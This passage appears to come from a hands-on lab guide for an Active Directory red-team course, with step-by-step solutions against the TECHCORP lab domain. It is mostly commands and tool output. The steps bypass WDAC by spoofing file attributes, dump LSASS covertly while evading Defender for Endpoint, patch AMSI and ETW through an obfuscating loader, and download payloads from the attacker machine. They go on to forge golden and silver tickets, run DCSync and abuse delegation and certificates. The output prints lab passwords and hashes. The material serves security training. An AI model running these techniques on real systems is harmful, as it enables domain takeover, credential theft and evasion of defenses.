UsermodeCodeIntegrityPolicyEnforcementStatus : 2
Version : 1.0
VirtualizationBasedSecurityStatus : 0
VirtualMachineIsolation : False
VirtualMachineIsolationProperties : {0}
PSComputerName :
We can now attempt to copy and parse the WDAC config deployed on us-jump to find suitable bypasses
and loopholes in the policy.
C:\Windows\system32>dir \\us-
jumpX.US.TECHCORP.LOCAL\c$\Windows\System32\CodeIntegrity
Volume in drive \\us-jump.US.TECHCORP.LOCAL\c$ has no label.
Volume Serial Number is 88AD-6C8B
Directory of \\us-jump.US.TECHCORP.LOCAL\c$\Windows\System32\CodeIntegrity
We find a deployed policy named DG.bin.p7 / SiPolicy.p7b in the CodeIntegrity folder. Copy either policy
binary back over to our studentVM.
NOTE: To confirm that a WDAC policy was deployed using GPO, we would have to enumerate the specific
GPO GUID path (Ex: SYSVOL on DC) and locate the appropriate Registry.pol file in the Machine
subdirectory. We can then use the Parse-PolFile cmdlet to parse the Registry.Pol file and attempt to read
the exact deployement location and other details for the WDAC policy (can be deployed locally or on a
remote share).
C:\Windows\system32>copy \\us-
jumpX.US.TECHCORP.LOCAL\c$\Windows\System32\CodeIntegrity\DG.bin.p7
C:\AD\Tools
1 file(s) copied.
Now spawn a new Powershell prompt on the student VM using Invisishell and import the
CIPolicyParser.ps1 script to parse the copied policy binary.
C:\Users\studentuserx> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Users\studentuserx>. C:\AD\Tools\CIPolicyParser.ps1
PS C:\Users\studentuserx>ConvertTo-CIPolicy -BinaryFilePath
C:\AD\Tools\DG.bin.p7 -XmlFilePath C:\AD\Tools\DG.bin.xml
Directory: C:\AD\Tools
NOTE: Navigate to this rule quickly by searching for the string: "Vmware".
C:\Users\studentuserx>notepad C:\AD\Tools\DG.bin.xml
This is a File Attribute Allow rule that allows a file (exe / dll) having the Product Name: "Vmware
Workstation". We can attempt to abuse this rule by editing the File Attributes of an exe / dll of choice to
match the Product Name mentioned. rcedit, is a tool that can be used to easily achieve this.
MDE also has been enabled on us-jumpX as enumerated previously. We can now attempt to perform an
LSASS dump on the target us-jump using a covert technique / tool to bypass MDE along with WDAC.
We will be using the mockingjay POC (loader / dropper) along with nanodump shellcode to bypass MDE
detections and perform a covert LSASS Dump. To bypass WDAC we edit File Attributes to match the
Product Name: "Vmware Workstation" on all required files (exe / dlls) of the mockingjay POC.
Begin by editing File Attributes for all required mockingjay files using rcedit to match the Product Name:
"Vmware Workstation" and zip all required contents as follows:
C:\Users\studentuserx>cd C:\AD\Tools\mockingjay
C:\AD\Tools>C:\AD\Tools\mockingjay\rcedit-x64.exe
C:\AD\Tools\mockingjay\vcruntime140.dll --set-version-string "ProductName"
"Vmware Workstation"
C:\AD\Tools>C:\AD\Tools\mockingjay\rcedit-x64.exe
C:\AD\Tools\mockingjay\vcruntime140_1.dll --set-version-string "ProductName"
"Vmware Workstation"
C:\AD\Tools>C:\AD\Tools\mockingjay\rcedit-x64.exe
C:\AD\Tools\mockingjay\mockingjay.exe --set-version-string "ProductName"
"Vmware Workstation"
C:\AD\Tools>C:\AD\Tools\mockingjay\rcedit-x64.exe
C:\AD\Tools\mockingjay\mscorlib.ni.dll --set-version-string "ProductName"
"Vmware Workstation"
C:\AD\Tools> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS C:\AD\Tools> Compress-Archive -Path C:\AD\Tools\mockingjay\msvcp140.dll,
C:\AD\Tools\mockingjay\vcruntime140.dll,
C:\AD\Tools\mockingjay\vcruntime140_1.dll,
C:\AD\Tools\mockingjay\mockingjay.exe, C:\AD\Tools\mockingjay\mscorlib.ni.dll
-DestinationPath "C:\AD\Tools\mockingjay\mockingjay.zip"
Now convert nanodump into compatible shellcode using donut along with the with the args: spoof-
callstack (-sc), fork LSASS process before dumping (-f) and output the dump to a file named nano.dmp (--
write) to make it dump LSASS in a covert way.
C:\AD\Tools>C:\AD\Tools\DefenderCheck.exe
C:\AD\Tools\mockingjay\mockingjay.exe
[+] No threat found in submitted file!
C:\AD\Tools>C:\AD\Tools\DefenderCheck.exe C:\AD\Tools\mockingjay\nano.bin
[+] No threat found in submitted file!
Now host mockingjay.zip and nano.bin on our student VM using HFS. Make sure firewall is disabled
before doing so.
From the process running with privileges of jumpone, connect to us-jumpX and then download
mockingjay.zip using msedge.
NOTE: Using commonly abused binaries such as certutil for downloads, will result in a detection on MDE.
Wait a few seconds for the download to complete.
C:\Users\jumpone$>cd C:\Users\jumpone$\Downloads
C:\Users\jumpone$\Downloads>"C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe" --incognito
http://192.168.100.X/mockingjay.zip
C:\Users\jumpone$\Downloads>[3308:5880:1204/024737.595:ERROR:os_crypt_win.cc(
87)] Failed to encrypt: The requested operation cannot be completed. The
computer must be trusted for delegation and the current user account must be
configured to allow delegation. (0x80090345)
[3308:5880:1204/024737.723:ERROR:policy_logger.cc(157)]
:components\enterprise\browser\controller\chrome_browser_cloud_management_con
troller.cc(163) Cloud management controller initialization aborted as CBCM is
not enabled.
[3308:5880:1204/024737.786:ERROR:assistance_home_client.cc(32)] File path
C:\Users\jumpone$\AppData\Local\Microsoft\Edge\User Data\Default
[3308:1448:1204/024737.848:ERROR:login_database_async_helper.cc(195)]
Encryption is not available.
[3308:5880:1204/024738.192:ERROR:edge_auth_errors.cc(508)] EDGE_IDENTITY: Get
Default OS Account failed: Error: Primary Error: kImplicitSignInFailure,
Secondary Error: kAccountProviderFetchError, Platform error: -2147023584,
hex:80070520, Error string:
[3308:5880:1204/024738.515:ERROR:download_status_updater_win.cc(34)] Failed
initializing an ITaskbarList3 interface.
[snip]
C:\Users\jumpone$\Downloads>tar -xf
C:\Users\jumpone$\Downloads\mockingjay.zip
C:\Users\jumpone$\Downloads>C:\Users\jumpone$\Downloads\mockingjay.exe
192.168.100.X "/nano.bin"
The minidump has an invalid signature, restore it running:
scripts/restore_signature nano.dmp
Done, to get the secretz run:
python3 -m pypykatz lsa minidump nano.dmp
mimikatz.exe "sekurlsa::minidump nano.dmp" "sekurlsa::logonPasswords full"
exit
[+] Module loaded...
[+] Offset to RWX memory region: 0x94e0b000
[+] Shellcode Written to RWX Memory Region.
An LSASS dump file is written called nano.dmp with an invalid signature since a normal LSASS dump on
disk could trigger an MDE detection. We will now exfiltrate this dump file, restore and parse it for
credentials.
Before doing so exit out of the winrs session and perform exfiltration using SMB along with a cleanup of
all files used on the target.
C:\Users\jumpone$\Downloads>exit
C:\AD\Tools\mockingjay>copy \\us-jump
X.US.TECHCORP.LOCAL\c$\users\jumpone$\Downloads\nano.dmp
C:\AD\Tools\mockingjay
PS C:\AD\Tools\mockingjay>del \\us-jump
X.US.TECHCORP.LOCAL\c$\users\jumpone$\Downloads\*
Finally, restore the exfiltrated dump signature and parse credentials using mimikatz as follows:
C:\AD\Tools\mockingjay>C:\AD\Tools\mockingjay\restore_signature.exe
C:\AD\Tools\mockingjay\nano.dmp
done, to analize the dump run:
python3 -m pypykatz lsa minidump C:\AD\Tools\mockingjay\nano.dmp
[snip]
mimikatz(commandline) # sekurlsa::keys
Opening : 'C:\AD\Tools\mockingjay\nano.dmp' file for minidump...
*
Username : pawadmin
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
a92324f21af51ea2891a24e9d5c3ae9dd2ae09b88ef6a88cb292575d16063c30
rc4_hmac_nt 36ea28bfa97a992b5e85bd22485e8d52
rc4_hmac_old 36ea28bfa97a992b5e85bd22485e8d52
rc4_md4 36ea28bfa97a992b5e85bd22485e8d52
rc4_hmac_nt_exp 36ea28bfa97a992b5e85bd22485e8d52
rc4_hmac_old_exp 36ea28bfa97a992b5e85bd22485e8d52
[snip]
* Username : appsvc
* Domain : US.TECHCORP.LOCAL
* Password : Us$rT0AccessDBwithImpersonation
* Key List :
mimikatz(commandline) # exit
Bye!
On us-jumpX, we can check for certificates that can be used later. Spawn a process with the privileges of
pawadmin:
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:pawadmin /domain:us.techcorp.local
/aes256:a92324f21af51ea2891a24e9d5c3ae9dd2ae09b88ef6a88cb292575d16063c30
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Run the below commands in the new process to enumerate the LocalMachine certificate store:
C:\Users\pawadmin>certutil -store My
certutil -store My
My "Personal"
================ Certificate 0 ================
Serial Number: 7700000022d1a7e4e1f8d0fd53000000000022
Issuer: CN=TECHCORP-DC-CA, DC=techcorp, DC=local
NotBefore: 3/8/2024 4:10 AM
NotAfter: 7/12/2024 12:12 AM Subject: [email protected],
CN=pawadmin, CN=Users, DC=us, DC=techcorp, DC=local
Non-root Certificate
[snip]
[snip]
CertUtil: -exportPFX command completed successfully.
C:\Users\pawadmin>exit
C:\AD\Tools>copy \\us-
jumpX.US.TECHCORP.LOCAL\c$\users\pawadmin\Downloads\pawadmin.pfx C:\AD\Tools\
C:\AD\Tools>del \\us-jumpX.US.TECHCORP.LOCAL\c$\users\pawadmin\Downloads\*
We can use the following command to extract credentials from lsass using rundll32.exe. Both rundll32.exe
and comsvcs.dll are Microsoft signed. We are creating a memory dump of the lsass process and we will
parse it offline on the student VM. Since the comsvcs.dll based memory dump is detected by Defender
we will need to disable Defender by executing “Set-MpPreference -DisableRealtimeMonitoring
$true” command.
Note that because of MDE Set-MpPreference would fail. Run the below commands from a process
running as jumpone:
Please note that '708' in the below command is the PID of lsass.exe process and may be different for
you:
Note that the above command fails and will result in a detection in MDE.
Note that if we try to extract certificates using PowerShell, that is also flagged by MDE. Start a process as
pawadmin using asktgt and run the following commands:
C:\Windows\system32>winrs -r:us-jumpX cmd
C:\Windows\system32>powershell
PS C:\Windows\system32> ls cert:\LocalMachine\My
Solution
First, we need to find out the machines in us.techcorp.local with unconstrained delegation. We can use
PowerView or Active Directory module for that. Using the ActiveDirectory module:
DistinguishedName : CN=US-WEB,CN=Computers,DC=us,DC=techcorp,DC=local
DNSHostName : US-Web.us.techcorp.local
Enabled : True
Name : US-WEB
ObjectClass : computer
ObjectGUID : cb00dc1e-3619-4187-a02b-42f9c964a637
SamAccountName : US-WEB$
SID : S-1-5-21-210670787-2521448726-163245708-1110
So, we need to compromise us-web. Recall that we got credentials of webmaster in the previous hands-
on. Let's check if that user has administrative access to us-web. We will use OverPass-The-Hash attack to
use webmaster's AES keys using SafetyKatz. You can use other tools of your choice. Run the below from
an elevated shell:
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:webmaster
/aes256:2a653f166761226eb2e939218f5a34d3d2af005a91f160540da6e4a5e29de8a0
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> cd C:\AD\Tools\
PS C:\AD\Tools> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess -Domain us.techcorp.local -
Verbose
VERBOSE: Trying to run a command parallely on provided computers list using
PSRemoting .
US-Web
PS C:\AD\Tools> exit
We can use multiple methods to copy Rubeus like xcopy, PowerShell Remoting etc.
C:\Users\webmaster>echo %Pwn%
monitor
C:\Users\webmaster>netsh interface portproxy add v4tov4 listenport=8080
listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.X
C:\Users\webmaster> C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /targetuser:US-DC$ /interval:5
/nowrap
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args %Pwn%
/targetuser:US-DC$ /interval:5 /nowrap
[*] Applying amsi patch: true
[*] Applying etw patch: true
[*] Decrypting packed exe...
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] Starting http://127.0.0.1:8080/Rubeus.exe with args 'monitor
/targetuser:US-DC$ /interval:5 /nowrap'
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
Using either of the above methods, once we have Rubeus running in the monitor mode, we can start
MS-RPRN.exe to force connect us-dc to us-web and thereby abuse the printer bug:
[snip]
[*] 1/14/2021 9:51:57 AM UTC - Found new TGT:
User : [email protected]
StartTime : 1/13/2021 8:08:07 PM
EndTime : 1/14/2021 6:07:42 AM
RenewTill : 12/31/1969 4:00:00 PM
Flags : name_canonicalize, pre_authent, forwarded,
forwardable
Base64EncodedTicket :
doIFKTCCBSWgAwIBBaEDAg
[snip]
v1.6.1
We can now run DCSync attack against US-DC using the injected ticket:
mimikatz(commandline) # -path
ERROR mimikatz_doLocal ; "-path" command of "standard" module not found !
Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)
** SAM ACCOUNT **
Credentials:
Hash NTLM: b0975ae49f441adc6b024ad238935af5
ntlm- 0: b0975ae49f441adc6b024ad238935af5
lm - 0: d765cfb668ed3b1f510b8c3861447173
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 819a7c8674e0302cbeec32f3f7b226c9
* Primary:Kerberos-Newer-Keys *
Default Salt : US.TECHCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5
aes128_hmac (4096) : 1bae2a6639bb33bf720e2d50807bf2c1
des_cbc_md5 (4096) : 923158b519f7a454
* Primary:Kerberos *
Default Salt : US.TECHCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : 923158b519f7a454
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 a1bdf6146e4b13c939093eb2d72416c9
02 cd864c0d5369adad4fc59a469a2d4d17
We can run the DCSync attack using Invoke-Mimi or any other tool too.
Solution
Enumerate the objects in our current domain that have constrained delegation enabled with the help of
the Active Directory module from InvisiShell:
DistinguishedName : CN=appsvc,CN=Users,DC=us,DC=techcorp,DC=local
msDS-AllowedToDelegateTo : {CIFS/us-mssql.us.techcorp.local, CIFS/us-mssql}
Name : appsvc
ObjectClass : user
ObjectGUID : 792eeddd-5d62-4b4f-bff7-23475d665474
Recall that we extracted credentials of appsvc from us-jump, let’s use the AES256 keys for appsvc to
impersonate the domain administrator - administrator and access us-mssql using those privileges. Note
that we request an alternate ticket for HTTP service to be able to use WinRM.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.1
C:\Users\studentuserx>klist
Sweet, let's access us-mssql using winrs. Note that we will have privileges of domain administrator but
that is only limited to us-mssql:
C:\Users\administrator.US>set username
Set username
USERNAME=Administrator
Solution
We have already enumerated ACLs for studentuserx and studentusers group. Recall that we have admin
access to us-mgmt (we added studentuserx to the machineadmins group) but we never extracted
credentials from that machine. Let's do that now:
C:\AD\Tools> C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: sekurlsa::ekeys
set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
Copy the generated commands and use it on the winrs session on us-mgmt:
Add a netsh path to avoid defender, run the Loader.exe and load SafetyKatz in memory to extract
credentials:
[snip]
Authentication Id : 0 ; 8035962 (00000000:007a9e7a)
Session : RemoteInteractive from 2
User Name : mgmtadmin
Domain : US
Logon Server : US-DC
Logon Time : 1/7/2021 10:41:05 PM
SID : S-1-5-21-210670787-2521448726-163245708-1115
*
Username : mgmtadmin
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
32827622ac4357bcb476ed3ae362f9d3e7d27e292eb27519d2b8b419db24c00f
rc4_hmac_nt e53153fc2dc8d4c5a5839e46220717e5
rc4_hmac_old e53153fc2dc8d4c5a5839e46220717e5
rc4_md4 e53153fc2dc8d4c5a5839e46220717e5
rc4_hmac_nt_exp e53153fc2dc8d4c5a5839e46220717e5
rc4_hmac_old_exp e53153fc2dc8d4c5a5839e46220717e5
[snip]
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs |
?{$_.IdentityReferenceName -match 'mgmtadmin'}
ObjectDN : CN=US-
HELPDESK,CN=Computers,DC=us,DC=techcorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1115
IdentityReferenceName : mgmtadmin
IdentityReferenceDomain : us.techcorp.local
IdentityReferenceDN : CN=mgmtadmin,CN=Users,DC=us,DC=techcorp,DC=local
IdentityReferenceClass : user
Sweet! With GenericWrite on us-helpdesk. We can set Resource-based Constrained Delegation for us-
helpdesk for our own student VM. We are using our student VM computer object and not the
studentuserx as SPN is required for RBCD.
Start a process with privileges of mgtmadmin. Use ArgSplit.bat on the student VM to encode “asktgt”
Run the below command from an elevated shell:
C:\Windows\system32> C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: asktgt
set "z=t"
set "y=g"
[snip]
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:mgmtadmin
/aes256:32827622ac4357bcb476ed3ae362f9d3e7d27e292eb27519d2b8b419db24c00f
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> Import-Module C:\AD\Tools\ADModule-
master\Microsoft.ActiveDirectory.Management.dll
PS C:\Windows\system32> Import-Module C:\AD\Tools\ADModule-
master\ActiveDirectory\ActiveDirectory.psd1
PS C:\Windows\system32> $comps =
'student1$','student11$','student12$','student13$','student14$','student15$',
'student16$','student17$','student18$','student19$','student20$','student21$'
,'student22$','student1$','student24$','student25$','student26$','student27$'
,'student28$','student29$','student30$'
Now, we need AES key for the student VM to use its identity. Run mimikatz on your own studentx
machine to extract AES keys. Start a command prompt with administrative privileges (Run as
administrator) and run the below command. Note that you will get different AES keys for the studentx$
account, go for the one with SID S-1-5-18 that is a well-known SID for the SYSTEM user:
*
Username : studentx$
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
3845eac1016c33077d3619b3f931168db1343a223f3d7f9fc4424c77f8383578
rc4_hmac_nt 3b5c12f380c5c7b142356e941a5cefa2
C:\AD\Tools>echo %Pwn%
s4u
C:\AD\Tools> C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn%
/user:studentx$
/aes256:3845eac1016c33077d3619b3f931168db1343a223f3d7f9fc4424c77f8383578
/msdsspn:http/us-helpdesk /impersonateuser:administrator /ptt
[snip]
[*] Action: Import Ticket
[+] Ticket successfully imported!
[snip]
Let's use the HTTP TGS to access us-helpdesk as DA – administrator. Run the below command in the
process where we injected the TGS above:
PS C:\AD\Tools> klist
Current LogonId is 0:0x426960a
Now, to copy our loader to us-helpdesk, we need to access the filesystem. Let's request a TGS for CIFS
using Rubeus in the same process as above:
Now, copy the Netloader, add port redirection and run SafetyKatz on us-helpdesk to extract credentials
from lsass:
*
Username : helpdeskadmin
*
Domain : US.TECHCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
f3ac0c70b3fdb36f25c0d5c9cc552fe9f94c39b705c4088a2bb7219ae9fb6534
rc4_hmac_nt 94b4a7961bb45377f6e7951b0d8630be
rc4_hmac_old 94b4a7961bb45377f6e7951b0d8630be
rc4_md4 94b4a7961bb45377f6e7951b0d8630be
rc4_hmac_nt_exp 94b4a7961bb45377f6e7951b0d8630be
rc4_hmac_old_exp 94b4a7961bb45377f6e7951b0d8630be
[snip]
Reuse the AES keys of helpdeskadmin and use Find-PSRemotingLocalAdminAccess for hunting local
admin privileges. Run the OverPass-the-hash command using Rubeus from an elevated shell:
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\Windows\system32> Find-PSRemotingLocalAdminAccess -Domain
us.techcorp.local -Verbose
VERBOSE: Trying to run a command parallely on provided computers list using
PSRemoting .
US-HelpDesk
US-ADConnect
Solution
From one of the previous hands-on, we have domain admin privileges (we abused the printer bug on us-
web with unconstrained delegation and ran DCSync attack). Let’s use the AES keys of krbtgt account to
create a Golden ticket.
Using Rubeus.exe
Use the below Rubeus command to generate an OPSEC friendly command for Golden ticket. Note that 3
LDAP queries are sent to the DC to retrieve the required information. We will once again use
ArgsSplit.bat to encode "golden":
[*] Trying to query LDAP using LDAPS for user information on domain
controller US-DC.us.techcorp.local
[snip]
[*] base64(ticket.kirbi):
[snip]
C:\AD\Tools\Rubeus.exe golden
/aes256:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3EF6FC1FFA58CACD5
/user:Administrator /id:500 /pgid:513 /domain:us.techcorp.local /sid:S-1-5-
21-210670787-2521448726-163245708 /pwdlastset:"7/5/2019 12:42:09 AM"
/minpassage:1 /badpwdcount:1 /logoncount:248 /netbios:US
/groups:544,512,520,513 /dc:US-DC.us.techcorp.local
/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Now, use the generated command to forge a Golden ticket. Remember to add /ptt at the end of the
generated command to inject it in the current process. Once the ticket is injected, we can access
resources in the domain. Note that we will once again use Loader.exe and ArgsSplit.bat to encode
"golden":
[snip]
The Golden ticket is injected in the current session, we should be able to access any resource in the
domain as administrator (DA):
C:\Users\Administrator>set username
set username
USERNAME=Administrator
C:\Users\Administrator>set computername
set computername
COMPUTERNAME=US-DC
Sweet!
Now, to extract all the secrets in the domain from the domain controller, we can use the below
command. Run the below commands from a command prompt where we injected the Golden Ticket.
C:\AD\Tools> C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: lsadump::lsa
set "z=a"
Copy the generated commands and use it on the winrs session on us-dc:
[snip]
mimikatz #
PS C:\AD\Tools> . C:\AD\Tools\Invoke-Mimi.ps1
PS C:\AD\Tools> Invoke-Mimi -Command '"kerberos::golden /User:Administrator
/domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708
/aes256:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5
/startoffset:0 /endin:600 /renewmax:10080 /ptt"'
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ us.techcorp.local' successfully submitted
for current session
We can extract all the secrets from the DC. Run the below commands from a PowerShell session where
you injected Golden Ticket:
Solution
From the information gathered in previous steps we have the hash for machine account of the domain
controller (us-dc$). Using the below command from an elevated shell, we can create a Silver Ticket that
provides us access to the HTTP service of DC.
Please note that the hash of us-dc$ (RC4 in the below command) may be different in the lab. You can
also use aes256 keys in place of NTLM hash:
C:\AD\Tools>C:\AD\Tools\ArgSplit.bat
[!] Argument Limit: 180 characters
[+] Enter a string: silver
[snip]
C:\AD\Tools>echo %Pwn%
silver
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /service:http/us-dc.us.techcorp.local
/rc4:f4492105cb24a843356945e45402073e /ldap /sid:S-1-5-21-210670787-
2521448726-163245708 /user:Administrator /domain:us.techcorp.local /ptt
[+] Successfully unhooked ETW!
[+] Successfully patched AMSI!
[+] URL/PATH : C:\AD\Tools\Rubeus.exe Arguments : silver /service:http/us-
dc.us.techcorp.local /rc4:f4492105cb24a843356945e45402073e /ldap
/user:Administrator /domain:us.techcorp.local /ptt
[snip]
[*] Building PAC
[snip]
[+] Ticket successfully imported!
C:\Windows\system32>klist
We have the HTTP service ticket for us-dc, let’s try accessing it using winrs. Note that we are using FQDN
of us-dc as that is what the service ticket has:
C:\Users\Administrator>set computername
set computername
COMPUTERNAME=US-DC
For accessing WMI, we need to create two tickets - one for HOST service and another for RPCSS. We are
using Rubeus for this.
[snip]
[+] Ticket successfully imported!
C:\Windows\system32>klist
#0> Client: Administrator @ US.TECHCORP.LOCAL
Server: rpcss/us-dc.us.techcorp.local @ US.TECHCORP.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
[snip]
C:\Windows\system32> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
C:\Windows\system32>Get-WmiObject -Class win32_operatingsystem -ComputerName
us-dc.us.techcorp.local
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 17763
RegisteredUser : Windows User
SerialNumber : 00429-90000-00001-AA056
Version : 10.0.17763
Solution
We can check if studentuserx has replication rights using the following PowerView command. Use it
from InvisiShell:
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools>. C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainObjectAcl -SearchBase "dc=us,dc=techcorp,dc=local"
-SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-
get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object
{$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName
$_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "studentuserx"}
We got no output as studentuserx does not have the replication rights. But,
We can add those rights with Domain Administrator privileges! Using Overpass-the-hash, let's run a
command prompt with DA privileges:
OR
Use the Active Directory module with Set-ADACL from RACE as Domain Admin:
Let’s check for the rights once again from a normal shell:
AceQualifier : AccessAllowed
ObjectDN : DC=us,DC=techcorp,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID : S-1-5-21-210670787-2521448726-163245708
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-210670787-2521448726-163245708-1223
Sweet! Now, below commands can be used as studentuserx to get the hashes of krbtgt user:
Solution
Using the certify tool, enumerate the Certification Authorities in the target forest:
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
Enumerate templates:
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
CA Name : Techcorp-
DC.techcorp.local\TECHCORP-DC-CA
Template Name : User
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN,
SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL,
SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS,
PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : <null>
Permissions
Enrollment Permissions
Enrollment Rights : TECHCORP\Domain Admins S-1-5-21-
[snip]
CA Name : Techcorp-DC.techcorp.local\TECHCORP-
DC-CA
Template Name :
ForAdminsofPrivilegedAccessWorkstations
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS,
PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting
File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : TECHCORP\Domain Admins S-1-5-21-
2781415573-3701854478-2406986946-512
TECHCORP\Enterprise Admins S-1-5-21-
2781415573-3701854478-2406986946-519
US\pawadmin S-1-5-21-
210670787-2521448726-163245708-1138
Recall that we extracted certificate of pawadmin from the us-jump. Use the certificate to request a TGT
for pawadmin and inject in current session:
C:\AD\Tools>echo %Pwn%
asktgt
C:\AD\Tools> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn%
/user:pawadmin /certificate:C:\AD\Tools\pawadmin.pfx /password:SecretPass@123
/nowrap /ptt
______ _
